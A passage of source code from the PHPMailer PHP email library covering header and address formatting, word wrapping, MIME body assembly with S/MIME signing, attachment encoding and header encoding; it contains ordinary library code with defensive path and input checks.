            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
